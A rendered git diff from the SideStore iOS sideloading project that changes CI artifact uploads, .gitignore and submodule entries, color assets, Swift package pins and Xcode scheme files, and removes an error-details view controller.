name: SideStore-${{ steps.version.outputs.version }}.ipa
|
name: SideStore-${{ steps.version.outputs.version }}.ipa
|
||||||
path: SideStore-${{ steps.version.outputs.version }}.ipa
|
path: SideStore-${{ steps.version.outputs.version }}.ipa
|
||||||
|
|
||||||
- name: Upload *.dSYM Artifact
|
- name: Upload SideStore-MDC.ipa Artifact
|
||||||
uses: actions/upload-artifact@v4
|
uses: actions/upload-artifact@v3.1.0
|
||||||
|
with:
|
||||||
|
name: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
|
||||||
|
path: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
|
||||||
|
|
||||||
|
- name: Upload dSYM Artifact
|
||||||
|
uses: actions/upload-artifact@v3.1.0
|
||||||
with:
|
with:
|
||||||
name: SideStore-${{ steps.version.outputs.version }}-dSYM
|
name: SideStore-${{ steps.version.outputs.version }}-dSYM
|
||||||
path: ./*.dSYM/
|
path: ./dSYM/*
|
||||||
|
|
||||||
|
- name: Upload MDC-dSYM Artifact
|
||||||
|
uses: actions/upload-artifact@v3.1.0
|
||||||
|
with:
|
||||||
|
name: SideStore-MDC-${{ steps.version.outputs.version }}-dSYM
|
||||||
|
path: ./MDC-dSYM/*
|
||||||
|
|||||||
5
.gitignore
vendored
@@ -19,6 +19,7 @@ archive.xcarchive
|
|||||||
*.perspectivev3
|
*.perspectivev3
|
||||||
!default.perspectivev3
|
!default.perspectivev3
|
||||||
xcuserdata
|
xcuserdata
|
||||||
|
|
||||||
## Other
|
## Other
|
||||||
*.xccheckout
|
*.xccheckout
|
||||||
*.moved-aside
|
*.moved-aside
|
||||||
@@ -35,8 +36,8 @@ xcuserdata
|
|||||||
.idea/
|
.idea/
|
||||||
|
|
||||||
Payload/
|
Payload/
|
||||||
SideStore.ipa
|
SideStore*.ipa
|
||||||
*.dSYM
|
*dSYM
|
||||||
|
|
||||||
Dependencies/.*-prebuilt-fetch-*
|
Dependencies/.*-prebuilt-fetch-*
|
||||||
Dependencies/minimuxer/*
|
Dependencies/minimuxer/*
|
||||||
|
|||||||
2
.gitmodules
vendored
@@ -9,7 +9,7 @@
|
|||||||
url = https://github.com/libimobiledevice/libusbmuxd.git
|
url = https://github.com/libimobiledevice/libusbmuxd.git
|
||||||
[submodule "Dependencies/libplist"]
|
[submodule "Dependencies/libplist"]
|
||||||
path = Dependencies/libplist
|
path = Dependencies/libplist
|
||||||
url = https://github.com/SideStore/libplist.git
|
url = https://github.com/libimobiledevice/libplist.git
|
||||||
[submodule "Dependencies/MarkdownAttributedString"]
|
[submodule "Dependencies/MarkdownAttributedString"]
|
||||||
path = Dependencies/MarkdownAttributedString
|
path = Dependencies/MarkdownAttributedString
|
||||||
url = https://github.com/chockenberry/MarkdownAttributedString.git
|
url = https://github.com/chockenberry/MarkdownAttributedString.git
|
||||||
|
|||||||
@@ -5,9 +5,9 @@
|
|||||||
"color-space" : "srgb",
|
"color-space" : "srgb",
|
||||||
"components" : {
|
"components" : {
|
||||||
"alpha" : "1.000",
|
"alpha" : "1.000",
|
||||||
"blue" : "175",
|
"blue" : "0.518",
|
||||||
"green" : "4",
|
"green" : "0.502",
|
||||||
"red" : "115"
|
"red" : "0.004"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"idiom" : "universal"
|
"idiom" : "universal"
|
||||||
@@ -23,9 +23,9 @@
|
|||||||
"color-space" : "srgb",
|
"color-space" : "srgb",
|
||||||
"components" : {
|
"components" : {
|
||||||
"alpha" : "1.000",
|
"alpha" : "1.000",
|
||||||
"blue" : "150",
|
"blue" : "0.404",
|
||||||
"green" : "3",
|
"green" : "0.322",
|
||||||
"red" : "99"
|
"red" : "0.008"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"idiom" : "universal"
|
"idiom" : "universal"
|
||||||
|
|||||||
@@ -1,48 +0,0 @@
|
|||||||
//
|
|
||||||
// ErrorDetailsViewController.swift
|
|
||||||
// AltServer
|
|
||||||
//
|
|
||||||
// Created by Riley Testut on 10/4/22.
|
|
||||||
// Copyright © 2022 Riley Testut. All rights reserved.
|
|
||||||
//
|
|
||||||
|
|
||||||
import AppKit
|
|
||||||
|
|
||||||
class ErrorDetailsViewController: NSViewController
|
|
||||||
{
|
|
||||||
var error: NSError? {
|
|
||||||
didSet {
|
|
||||||
self.update()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@IBOutlet private var errorCodeLabel: NSTextField!
|
|
||||||
@IBOutlet private var detailedDescriptionLabel: NSTextField!
|
|
||||||
|
|
||||||
override func viewDidLoad()
|
|
||||||
{
|
|
||||||
super.viewDidLoad()
|
|
||||||
|
|
||||||
self.detailedDescriptionLabel.preferredMaxLayoutWidth = 800
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private extension ErrorDetailsViewController
|
|
||||||
{
|
|
||||||
func update()
|
|
||||||
{
|
|
||||||
if !self.isViewLoaded
|
|
||||||
{
|
|
||||||
self.loadView()
|
|
||||||
}
|
|
||||||
|
|
||||||
guard let error = self.error else { return }
|
|
||||||
|
|
||||||
self.errorCodeLabel.stringValue = error.localizedErrorCode
|
|
||||||
|
|
||||||
let font = self.detailedDescriptionLabel.font ?? NSFont.systemFont(ofSize: 12)
|
|
||||||
let detailedDescription = error.formattedDetailedDescription(with: font)
|
|
||||||
self.detailedDescriptionLabel.attributedStringValue = detailedDescription
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@@ -1,5 +1,4 @@
|
|||||||
{
|
{
|
||||||
"originHash" : "ee46302f91cbb62c5234c36750d40856658e961e191f5536cf4fe74d10fc2c94",
|
|
||||||
"pins" : [
|
"pins" : [
|
||||||
{
|
{
|
||||||
"identity" : "altsign",
|
"identity" : "altsign",
|
||||||
@@ -7,7 +6,7 @@
|
|||||||
"location" : "https://github.com/SideStore/AltSign",
|
"location" : "https://github.com/SideStore/AltSign",
|
||||||
"state" : {
|
"state" : {
|
||||||
"branch" : "master",
|
"branch" : "master",
|
||||||
"revision" : "4323ff794e600ce1759cb6ea57275e13b7ea72f2"
|
"revision" : "7e0e7edcf8fbc44ac1e35da3e9030a297aa18b84"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
@@ -15,17 +14,35 @@
|
|||||||
"kind" : "remoteSourceControl",
|
"kind" : "remoteSourceControl",
|
||||||
"location" : "https://github.com/microsoft/appcenter-sdk-apple.git",
|
"location" : "https://github.com/microsoft/appcenter-sdk-apple.git",
|
||||||
"state" : {
|
"state" : {
|
||||||
"revision" : "b2dc99cfedead0bad4e6573d86c5228c89cff332",
|
"revision" : "8354a50fe01a7e54e196d3b5493b5ab53dd5866a",
|
||||||
"version" : "4.4.3"
|
"version" : "4.4.2"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"identity" : "imobiledevice.swift",
|
"identity" : "asyncimage",
|
||||||
"kind" : "remoteSourceControl",
|
"kind" : "remoteSourceControl",
|
||||||
"location" : "https://github.com/SideStore/iMobileDevice.swift",
|
"location" : "https://github.com/fabianthdev/AsyncImage",
|
||||||
"state" : {
|
"state" : {
|
||||||
"revision" : "74e481106dd155c0cd21bca6795fd9fe5f751654",
|
"branch" : "main",
|
||||||
"version" : "1.0.5"
|
"revision" : "018a4fffea025066d795ebb025c2769183f3fffb"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"identity" : "expandabletext",
|
||||||
|
"kind" : "remoteSourceControl",
|
||||||
|
"location" : "https://github.com/fabianthdev/ExpandableText",
|
||||||
|
"state" : {
|
||||||
|
"branch" : "main",
|
||||||
|
"revision" : "a375f5b8c73f0af69aa7add890378fdf404a29bc"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"identity" : "inject",
|
||||||
|
"kind" : "remoteSourceControl",
|
||||||
|
"location" : "https://github.com/krzysztofzablocki/Inject.git",
|
||||||
|
"state" : {
|
||||||
|
"revision" : "abcc4b091fd384cfd09b149a60298b75dc87c5b9",
|
||||||
|
"version" : "1.2.3"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
@@ -46,6 +63,15 @@
|
|||||||
"version" : "4.2.0"
|
"version" : "4.2.0"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
"identity" : "localconsole",
|
||||||
|
"kind" : "remoteSourceControl",
|
||||||
|
"location" : "https://github.com/naturecodevoid/LocalConsole.git",
|
||||||
|
"state" : {
|
||||||
|
"branch" : "main",
|
||||||
|
"revision" : "4ead9c3e565190172caac62b5179347e02999365"
|
||||||
|
}
|
||||||
|
},
|
||||||
{
|
{
|
||||||
"identity" : "nuke",
|
"identity" : "nuke",
|
||||||
"kind" : "remoteSourceControl",
|
"kind" : "remoteSourceControl",
|
||||||
@@ -60,8 +86,8 @@
|
|||||||
"kind" : "remoteSourceControl",
|
"kind" : "remoteSourceControl",
|
||||||
"location" : "https://github.com/krzyzanowskim/OpenSSL",
|
"location" : "https://github.com/krzyzanowskim/OpenSSL",
|
||||||
"state" : {
|
"state" : {
|
||||||
"revision" : "8cb1d641ab5ebce2cd7cf31c93baef07bed672d4",
|
"revision" : "033fcb41dac96b1b6effa945ca1f9ade002370b2",
|
||||||
"version" : "1.1.2301"
|
"version" : "1.1.1501"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
@@ -69,8 +95,17 @@
|
|||||||
"kind" : "remoteSourceControl",
|
"kind" : "remoteSourceControl",
|
||||||
"location" : "https://github.com/microsoft/PLCrashReporter.git",
|
"location" : "https://github.com/microsoft/PLCrashReporter.git",
|
||||||
"state" : {
|
"state" : {
|
||||||
"revision" : "81cdec2b3827feb03286cb297f4c501a8eb98df1",
|
"revision" : "6b27393cad517c067dceea85fadf050e70c4ceaa",
|
||||||
"version" : "1.10.2"
|
"version" : "1.10.1"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"identity" : "reachability.swift",
|
||||||
|
"kind" : "remoteSourceControl",
|
||||||
|
"location" : "https://github.com/ashleymills/Reachability.swift",
|
||||||
|
"state" : {
|
||||||
|
"branch" : "master",
|
||||||
|
"revision" : "a81b7367f2c46875f29577e03a60c39cdfad0c8d"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
@@ -78,8 +113,17 @@
|
|||||||
"kind" : "remoteSourceControl",
|
"kind" : "remoteSourceControl",
|
||||||
"location" : "https://github.com/SwiftPackageIndex/SemanticVersion.git",
|
"location" : "https://github.com/SwiftPackageIndex/SemanticVersion.git",
|
||||||
"state" : {
|
"state" : {
|
||||||
"revision" : "ea8eea9d89842a29af1b8e6c7677f1c86e72fa42",
|
"revision" : "fc670910dc0903cc269b3d0b776cda5703979c4e",
|
||||||
"version" : "0.4.0"
|
"version" : "0.3.5"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"identity" : "sfsafesymbols",
|
||||||
|
"kind" : "remoteSourceControl",
|
||||||
|
"location" : "https://github.com/SFSafeSymbols/SFSafeSymbols",
|
||||||
|
"state" : {
|
||||||
|
"revision" : "50bc33264e6c0972f905b61af656201cf6091de8",
|
||||||
|
"version" : "4.0.0"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
@@ -87,8 +131,8 @@
|
|||||||
"kind" : "remoteSourceControl",
|
"kind" : "remoteSourceControl",
|
||||||
"location" : "https://github.com/sparkle-project/Sparkle.git",
|
"location" : "https://github.com/sparkle-project/Sparkle.git",
|
||||||
"state" : {
|
"state" : {
|
||||||
"revision" : "0ef1ee0220239b3776f433314515fd849025673f",
|
"revision" : "286edd1fa22505a9e54d170e9fd07d775ea233f2",
|
||||||
"version" : "2.6.4"
|
"version" : "2.1.0"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
@@ -96,8 +140,8 @@
|
|||||||
"kind" : "remoteSourceControl",
|
"kind" : "remoteSourceControl",
|
||||||
"location" : "https://github.com/daltoniam/Starscream.git",
|
"location" : "https://github.com/daltoniam/Starscream.git",
|
||||||
"state" : {
|
"state" : {
|
||||||
"revision" : "c6bfd1af48efcc9a9ad203665db12375ba6b145a",
|
"revision" : "df8d82047f6654d8e4b655d1b1525c64e1059d21",
|
||||||
"version" : "4.0.8"
|
"version" : "4.0.4"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
@@ -108,7 +152,16 @@
|
|||||||
"branch" : "master",
|
"branch" : "master",
|
||||||
"revision" : "10a9150ef32d444af326beba76356ae9af95a3e7"
|
"revision" : "10a9150ef32d444af326beba76356ae9af95a3e7"
|
||||||
}
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"identity" : "zipfoundation",
|
||||||
|
"kind" : "remoteSourceControl",
|
||||||
|
"location" : "https://github.com/weichsel/ZIPFoundation.git",
|
||||||
|
"state" : {
|
||||||
|
"revision" : "43ec568034b3731101dbf7670765d671c30f54f3",
|
||||||
|
"version" : "0.9.16"
|
||||||
|
}
|
||||||
}
|
}
|
||||||
],
|
],
|
||||||
"version" : 3
|
"version" : 2
|
||||||
}
|
}
|
||||||
|
|||||||
111
AltStore.xcodeproj/xcshareddata/xcschemes/AltDaemon.xcscheme
Normal file
@@ -0,0 +1,111 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<Scheme
|
||||||
|
LastUpgradeVersion = "1150"
|
||||||
|
version = "1.3">
|
||||||
|
<BuildAction
|
||||||
|
parallelizeBuildables = "NO"
|
||||||
|
buildImplicitDependencies = "YES">
|
||||||
|
<BuildActionEntries>
|
||||||
|
<BuildActionEntry
|
||||||
|
buildForTesting = "YES"
|
||||||
|
buildForRunning = "YES"
|
||||||
|
buildForProfiling = "YES"
|
||||||
|
buildForArchiving = "YES"
|
||||||
|
buildForAnalyzing = "YES">
|
||||||
|
<BuildableReference
|
||||||
|
BuildableIdentifier = "primary"
|
||||||
|
BlueprintIdentifier = "A7A6DC28A6D60809855FE404C6A3EA29"
|
||||||
|
BuildableName = "libPods-AltDaemon.a"
|
||||||
|
BlueprintName = "Pods-AltDaemon"
|
||||||
|
ReferencedContainer = "container:Pods/Pods.xcodeproj">
|
||||||
|
</BuildableReference>
|
||||||
|
</BuildActionEntry>
|
||||||
|
<BuildActionEntry
|
||||||
|
buildForTesting = "YES"
|
||||||
|
buildForRunning = "YES"
|
||||||
|
buildForProfiling = "YES"
|
||||||
|
buildForArchiving = "YES"
|
||||||
|
buildForAnalyzing = "YES">
|
||||||
|
<BuildableReference
|
||||||
|
BuildableIdentifier = "primary"
|
||||||
|
BlueprintIdentifier = "BF1E314F22A0616100370A3C"
|
||||||
|
BuildableName = "libAltKit.a"
|
||||||
|
BlueprintName = "AltKit"
|
||||||
|
ReferencedContainer = "container:AltStore.xcodeproj">
|
||||||
|
</BuildableReference>
|
||||||
|
</BuildActionEntry>
|
||||||
|
<BuildActionEntry
|
||||||
|
buildForTesting = "YES"
|
||||||
|
buildForRunning = "YES"
|
||||||
|
buildForProfiling = "YES"
|
||||||
|
buildForArchiving = "YES"
|
||||||
|
buildForAnalyzing = "YES">
|
||||||
|
<BuildableReference
|
||||||
|
BuildableIdentifier = "primary"
|
||||||
|
BlueprintIdentifier = "BF18BFE624857D7900DD5981"
|
||||||
|
BuildableName = "AltDaemon"
|
||||||
|
BlueprintName = "AltDaemon"
|
||||||
|
ReferencedContainer = "container:AltStore.xcodeproj">
|
||||||
|
</BuildableReference>
|
||||||
|
</BuildActionEntry>
|
||||||
|
</BuildActionEntries>
|
||||||
|
</BuildAction>
|
||||||
|
<TestAction
|
||||||
|
buildConfiguration = "Debug"
|
||||||
|
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
|
||||||
|
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
|
||||||
|
shouldUseLaunchSchemeArgsEnv = "YES">
|
||||||
|
<Testables>
|
||||||
|
</Testables>
|
||||||
|
</TestAction>
|
||||||
|
<LaunchAction
|
||||||
|
buildConfiguration = "Release"
|
||||||
|
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
|
||||||
|
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
|
||||||
|
launchStyle = "0"
|
||||||
|
useCustomWorkingDirectory = "NO"
|
||||||
|
ignoresPersistentStateOnLaunch = "NO"
|
||||||
|
debugDocumentVersioning = "YES"
|
||||||
|
debugServiceExtension = "internal"
|
||||||
|
allowLocationSimulation = "YES">
|
||||||
|
<MacroExpansion>
|
||||||
|
<BuildableReference
|
||||||
|
BuildableIdentifier = "primary"
|
||||||
|
BlueprintIdentifier = "BF18BFE624857D7900DD5981"
|
||||||
|
BuildableName = "AltDaemon"
|
||||||
|
BlueprintName = "AltDaemon"
|
||||||
|
ReferencedContainer = "container:AltStore.xcodeproj">
|
||||||
|
</BuildableReference>
|
||||||
|
</MacroExpansion>
|
||||||
|
<EnvironmentVariables>
|
||||||
|
<EnvironmentVariable
|
||||||
|
key = "THEOS"
|
||||||
|
value = "~/theos"
|
||||||
|
isEnabled = "YES">
|
||||||
|
</EnvironmentVariable>
|
||||||
|
</EnvironmentVariables>
|
||||||
|
</LaunchAction>
|
||||||
|
<ProfileAction
|
||||||
|
buildConfiguration = "Release"
|
||||||
|
shouldUseLaunchSchemeArgsEnv = "YES"
|
||||||
|
savedToolIdentifier = ""
|
||||||
|
useCustomWorkingDirectory = "NO"
|
||||||
|
debugDocumentVersioning = "YES">
|
||||||
|
<MacroExpansion>
|
||||||
|
<BuildableReference
|
||||||
|
BuildableIdentifier = "primary"
|
||||||
|
BlueprintIdentifier = "BF18BFE624857D7900DD5981"
|
||||||
|
BuildableName = "AltDaemon"
|
||||||
|
BlueprintName = "AltDaemon"
|
||||||
|
ReferencedContainer = "container:AltStore.xcodeproj">
|
||||||
|
</BuildableReference>
|
||||||
|
</MacroExpansion>
|
||||||
|
</ProfileAction>
|
||||||
|
<AnalyzeAction
|
||||||
|
buildConfiguration = "Debug">
|
||||||
|
</AnalyzeAction>
|
||||||
|
<ArchiveAction
|
||||||
|
buildConfiguration = "Release"
|
||||||
|
revealArchiveInOrganizer = "YES">
|
||||||
|
</ArchiveAction>
|
||||||
|
</Scheme>
|
||||||
67
AltStore.xcodeproj/xcshareddata/xcschemes/AltPlugin.xcscheme
Normal file
@@ -0,0 +1,67 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<Scheme
|
||||||
|
LastUpgradeVersion = "1120"
|
||||||
|
version = "1.3">
|
||||||
|
<BuildAction
|
||||||
|
parallelizeBuildables = "YES"
|
||||||
|
buildImplicitDependencies = "YES">
|
||||||
|
<BuildActionEntries>
|
||||||
|
<BuildActionEntry
|
||||||
|
buildForTesting = "YES"
|
||||||
|
buildForRunning = "YES"
|
||||||
|
buildForProfiling = "YES"
|
||||||
|
buildForArchiving = "YES"
|
||||||
|
buildForAnalyzing = "YES">
|
||||||
|
<BuildableReference
|
||||||
|
BuildableIdentifier = "primary"
|
||||||
|
BlueprintIdentifier = "BF5C5FC4237DF5AE00EDD0C6"
|
||||||
|
BuildableName = "AltPlugin.mailbundle"
|
||||||
|
BlueprintName = "AltPlugin"
|
||||||
|
ReferencedContainer = "container:AltStore.xcodeproj">
|
||||||
|
</BuildableReference>
|
||||||
|
</BuildActionEntry>
|
||||||
|
</BuildActionEntries>
|
||||||
|
</BuildAction>
|
||||||
|
<TestAction
|
||||||
|
buildConfiguration = "Debug"
|
||||||
|
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
|
||||||
|
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
|
||||||
|
shouldUseLaunchSchemeArgsEnv = "YES">
|
||||||
|
<Testables>
|
||||||
|
</Testables>
|
||||||
|
</TestAction>
|
||||||
|
<LaunchAction
|
||||||
|
buildConfiguration = "Debug"
|
||||||
|
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
|
||||||
|
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
|
||||||
|
launchStyle = "1"
|
||||||
|
useCustomWorkingDirectory = "NO"
|
||||||
|
ignoresPersistentStateOnLaunch = "NO"
|
||||||
|
debugDocumentVersioning = "YES"
|
||||||
|
debugServiceExtension = "internal"
|
||||||
|
allowLocationSimulation = "YES">
|
||||||
|
</LaunchAction>
|
||||||
|
<ProfileAction
|
||||||
|
buildConfiguration = "Release"
|
||||||
|
shouldUseLaunchSchemeArgsEnv = "YES"
|
||||||
|
savedToolIdentifier = ""
|
||||||
|
useCustomWorkingDirectory = "NO"
|
||||||
|
debugDocumentVersioning = "YES">
|
||||||
|
<MacroExpansion>
|
||||||
|
<BuildableReference
|
||||||
|
BuildableIdentifier = "primary"
|
||||||
|
BlueprintIdentifier = "BF5C5FC4237DF5AE00EDD0C6"
|
||||||
|
BuildableName = "AltPlugin.mailbundle"
|
||||||
|
BlueprintName = "AltPlugin"
|
||||||
|
ReferencedContainer = "container:AltStore.xcodeproj">
|
||||||
|
</BuildableReference>
|
||||||
|
</MacroExpansion>
|
||||||
|
</ProfileAction>
|
||||||
|
<AnalyzeAction
|
||||||
|
buildConfiguration = "Debug">
|
||||||
|
</AnalyzeAction>
|
||||||
|
<ArchiveAction
|
||||||
|
buildConfiguration = "Release"
|
||||||
|
revealArchiveInOrganizer = "YES">
|
||||||
|
</ArchiveAction>
|
||||||
|
</Scheme>
|
||||||
91
AltStore.xcodeproj/xcshareddata/xcschemes/AltServer.xcscheme
Normal file
@@ -0,0 +1,91 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<Scheme
|
||||||
|
LastUpgradeVersion = "1020"
|
||||||
|
version = "1.3">
|
||||||
|
<BuildAction
|
||||||
|
parallelizeBuildables = "YES"
|
||||||
|
buildImplicitDependencies = "YES">
|
||||||
|
<BuildActionEntries>
|
||||||
|
<BuildActionEntry
|
||||||
|
buildForTesting = "YES"
|
||||||
|
buildForRunning = "YES"
|
||||||
|
buildForProfiling = "YES"
|
||||||
|
buildForArchiving = "YES"
|
||||||
|
buildForAnalyzing = "YES">
|
||||||
|
<BuildableReference
|
||||||
|
BuildableIdentifier = "primary"
|
||||||
|
BlueprintIdentifier = "BF45868C229872EA00BD7491"
|
||||||
|
BuildableName = "AltServer.app"
|
||||||
|
BlueprintName = "AltServer"
|
||||||
|
ReferencedContainer = "container:AltStore.xcodeproj">
|
||||||
|
</BuildableReference>
|
||||||
|
</BuildActionEntry>
|
||||||
|
</BuildActionEntries>
|
||||||
|
</BuildAction>
|
||||||
|
<TestAction
|
||||||
|
buildConfiguration = "Debug"
|
||||||
|
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
|
||||||
|
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
|
||||||
|
shouldUseLaunchSchemeArgsEnv = "YES">
|
||||||
|
<Testables>
|
||||||
|
</Testables>
|
||||||
|
<MacroExpansion>
|
||||||
|
<BuildableReference
|
||||||
|
BuildableIdentifier = "primary"
|
||||||
|
BlueprintIdentifier = "BF45868C229872EA00BD7491"
|
||||||
|
BuildableName = "AltServer.app"
|
||||||
|
BlueprintName = "AltServer"
|
||||||
|
ReferencedContainer = "container:AltStore.xcodeproj">
|
||||||
|
</BuildableReference>
|
||||||
|
</MacroExpansion>
|
||||||
|
<AdditionalOptions>
|
||||||
|
</AdditionalOptions>
|
||||||
|
</TestAction>
|
||||||
|
<LaunchAction
|
||||||
|
buildConfiguration = "Debug"
|
||||||
|
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
|
||||||
|
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
|
||||||
|
launchStyle = "0"
|
||||||
|
useCustomWorkingDirectory = "NO"
|
||||||
|
ignoresPersistentStateOnLaunch = "NO"
|
||||||
|
debugDocumentVersioning = "YES"
|
||||||
|
debugServiceExtension = "internal"
|
||||||
|
allowLocationSimulation = "YES">
|
||||||
|
<BuildableProductRunnable
|
||||||
|
runnableDebuggingMode = "0">
|
||||||
|
<BuildableReference
|
||||||
|
BuildableIdentifier = "primary"
|
||||||
|
BlueprintIdentifier = "BF45868C229872EA00BD7491"
|
||||||
|
BuildableName = "AltServer.app"
|
||||||
|
BlueprintName = "AltServer"
|
||||||
|
ReferencedContainer = "container:AltStore.xcodeproj">
|
||||||
|
</BuildableReference>
|
||||||
|
</BuildableProductRunnable>
|
||||||
|
<AdditionalOptions>
|
||||||
|
</AdditionalOptions>
|
||||||
|
</LaunchAction>
|
||||||
|
<ProfileAction
|
||||||
|
buildConfiguration = "Release"
|
||||||
|
shouldUseLaunchSchemeArgsEnv = "YES"
|
||||||
|
savedToolIdentifier = ""
|
||||||
|
useCustomWorkingDirectory = "NO"
|
||||||
|
debugDocumentVersioning = "YES">
|
||||||
|
<BuildableProductRunnable
|
||||||
|
runnableDebuggingMode = "0">
|
||||||
|
<BuildableReference
|
||||||
|
BuildableIdentifier = "primary"
|
||||||
|
BlueprintIdentifier = "BF45868C229872EA00BD7491"
|
||||||
|
BuildableName = "AltServer.app"
|
||||||
|
BlueprintName = "AltServer"
|
||||||
|
ReferencedContainer = "container:AltStore.xcodeproj">
|
||||||
|
</BuildableReference>
|
||||||
|
</BuildableProductRunnable>
|
||||||
|
</ProfileAction>
|
||||||
|
<AnalyzeAction
|
||||||
|
buildConfiguration = "Debug">
|
||||||
|
</AnalyzeAction>
|
||||||
|
<ArchiveAction
|
||||||
|
buildConfiguration = "Release"
|
||||||
|
revealArchiveInOrganizer = "YES">
|
||||||
|
</ArchiveAction>
|
||||||
|
</Scheme>
|
||||||
@@ -55,26 +55,7 @@
|
|||||||
argument = "-com.apple.CoreData.ConcurrencyDebug 1"
|
argument = "-com.apple.CoreData.ConcurrencyDebug 1"
|
||||||
isEnabled = "YES">
|
isEnabled = "YES">
|
||||||
</CommandLineArgument>
|
</CommandLineArgument>
|
||||||
<CommandLineArgument
|
|
||||||
argument = "-com.apple.CoreData.MigrationDebug 1"
|
|
||||||
isEnabled = "YES">
|
|
||||||
</CommandLineArgument>
|
|
||||||
<CommandLineArgument
|
|
||||||
argument = "-com.apple.CoreData.SQLiteIntegrityCheck 1"
|
|
||||||
isEnabled = "NO">
|
|
||||||
</CommandLineArgument>
|
|
||||||
<CommandLineArgument
|
|
||||||
argument = "-com.apple.CoreData.SQLDebug 1"
|
|
||||||
isEnabled = "NO">
|
|
||||||
</CommandLineArgument>
|
|
||||||
</CommandLineArguments>
|
</CommandLineArguments>
|
||||||
<EnvironmentVariables>
|
|
||||||
<EnvironmentVariable
|
|
||||||
key = "OS_ACTIVITY_MODE"
|
|
||||||
value = "$(DEBUG_ACTIVITY_MODE)"
|
|
||||||
isEnabled = "YES">
|
|
||||||
</EnvironmentVariable>
|
|
||||||
</EnvironmentVariables>
|
|
||||||
</LaunchAction>
|
</LaunchAction>
|
||||||
<ProfileAction
|
<ProfileAction
|
||||||
buildConfiguration = "Release"
|
buildConfiguration = "Release"
|
||||||
@@ -55,26 +55,7 @@
|
|||||||
argument = "-com.apple.CoreData.ConcurrencyDebug 1"
|
argument = "-com.apple.CoreData.ConcurrencyDebug 1"
|
||||||
isEnabled = "YES">
|
isEnabled = "YES">
|
||||||
</CommandLineArgument>
|
</CommandLineArgument>
|
||||||
<CommandLineArgument
|
|
||||||
argument = "-com.apple.CoreData.MigrationDebug 1"
|
|
||||||
isEnabled = "YES">
|
|
||||||
</CommandLineArgument>
|
|
||||||
<CommandLineArgument
|
|
||||||
argument = "-com.apple.CoreData.SQLiteIntegrityCheck 1"
|
|
||||||
isEnabled = "NO">
|
|
||||||
</CommandLineArgument>
|
|
||||||
<CommandLineArgument
|
|
||||||
argument = "-com.apple.CoreData.SQLDebug 1"
|
|
||||||
isEnabled = "NO">
|
|
||||||
</CommandLineArgument>
|
|
||||||
</CommandLineArguments>
|
</CommandLineArguments>
|
||||||
<EnvironmentVariables>
|
|
||||||
<EnvironmentVariable
|
|
||||||
key = "OS_ACTIVITY_MODE"
|
|
||||||
value = "$(DEBUG_ACTIVITY_MODE)"
|
|
||||||
isEnabled = "YES">
|
|
||||||
</EnvironmentVariable>
|
|
||||||
</EnvironmentVariables>
|
|
||||||
</LaunchAction>
|
</LaunchAction>
|
||||||
<ProfileAction
|
<ProfileAction
|
||||||
buildConfiguration = "Release"
|
buildConfiguration = "Release"
|
||||||
77
AltStore.xcodeproj/xcshareddata/xcschemes/AltXPC.xcscheme
Normal file
@@ -0,0 +1,77 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<Scheme
|
||||||
|
LastUpgradeVersion = "1230"
|
||||||
|
version = "1.3">
|
||||||
|
<BuildAction
|
||||||
|
parallelizeBuildables = "YES"
|
||||||
|
buildImplicitDependencies = "YES">
|
||||||
|
<BuildActionEntries>
|
||||||
|
<BuildActionEntry
|
||||||
|
buildForTesting = "YES"
|
||||||
|
buildForRunning = "YES"
|
||||||
|
buildForProfiling = "YES"
|
||||||
|
buildForArchiving = "YES"
|
||||||
|
buildForAnalyzing = "YES">
|
||||||
|
<BuildableReference
|
||||||
|
BuildableIdentifier = "primary"
|
||||||
|
BlueprintIdentifier = "BFF7C903257844C900E55F36"
|
||||||
|
BuildableName = "AltXPC.xpc"
|
||||||
|
BlueprintName = "AltXPC"
|
||||||
|
ReferencedContainer = "container:AltStore.xcodeproj">
|
||||||
|
</BuildableReference>
|
||||||
|
</BuildActionEntry>
|
||||||
|
</BuildActionEntries>
|
